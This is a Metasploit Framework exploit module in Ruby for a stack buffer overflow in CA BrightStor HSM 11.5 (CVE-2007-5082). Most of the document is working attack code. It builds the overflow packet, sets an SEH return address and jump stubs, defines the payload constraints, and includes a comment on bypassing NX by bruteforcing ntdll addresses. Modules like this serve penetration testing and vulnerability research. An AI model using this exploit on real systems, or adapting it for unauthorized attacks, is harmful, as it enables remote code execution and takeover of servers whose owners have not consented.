CA BrightStor HSM Buffer Overflow

`##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::Tcp  
include Msf::Exploit::Remote::Seh  
  
def initialize(info = {})  
super(update_info(info,   
'Name' => 'CA BrightStor HSM Buffer Overflow',  
'Description' => %q{  
This module exploits one of the multiple stack overflows in Computer Associates BrightStor HSM.  
By sending a specially crafted request, an attacker could overflow the buffer and execute arbitrary code.  
},  
'Author' => [ 'toto' ],  
'License' => MSF_LICENSE,  
'Version' => '$Revision$',  
'References' =>  
[  
[ 'CVE', '2007-5082' ],  
[ 'OSVDB', '41363' ],  
[ 'BID', '25823' ],  
],  
'Privileged' => true,  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Payload' =>  
{  
'Space' => 1026,  
'BadChars' => "\x00\x0a\x0d;",  
'StackAdjustment' => -3500,  
},  
'Platform' => 'win',  
'Targets' =>  
[   
# NX can be bypassed by bruteforcing ntdll addresses as the process is restarted  
# pop/pop/ret in fpparser.dll (old from 2004)  
[ 'BrightStor HSM 11.5 Windows All', { 'Ret' => 0x12014c78 } ],  
],   
'DisclosureDate' => 'Sep 27 2007',  
'DefaultTarget' => 0))  
  
register_options([ Opt::RPORT(2000) ], self.class)   
end  
  
def exploit  
connect  
  
data =   
[42,7,0,0].pack('VVVV') +  
payload.encoded +  
"\xeb\x06" +  
Rex::Text.rand_text_alphanumeric(2) +  
[ target.ret ].pack('V') +  
"\xe9\xf1\xfb\xff\xff" +   
Rex::Text.rand_text_alphanumeric(0x100)  
  
sploit = [data.length + 4].pack('V') + data  
  
print_status("Trying target #{target.name}...")  
  
sock.put(sploit)  
handler  
disconnect  
end  
  
end  
`